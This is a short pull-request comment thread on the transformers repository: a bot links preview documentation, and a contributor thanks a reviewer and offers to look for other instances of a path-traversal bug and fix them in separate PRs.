The docs for this PR live [here](https://moon-ci-docs.huggingface.co/docs/transformers/pr_46279). All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.

Thanks for the review, and no worries about the delay!
I'll go ahead and sweep the codebase for the same path-traversal pattern and put together fixes for any other instances I find. Happy to submit them as separate PRs.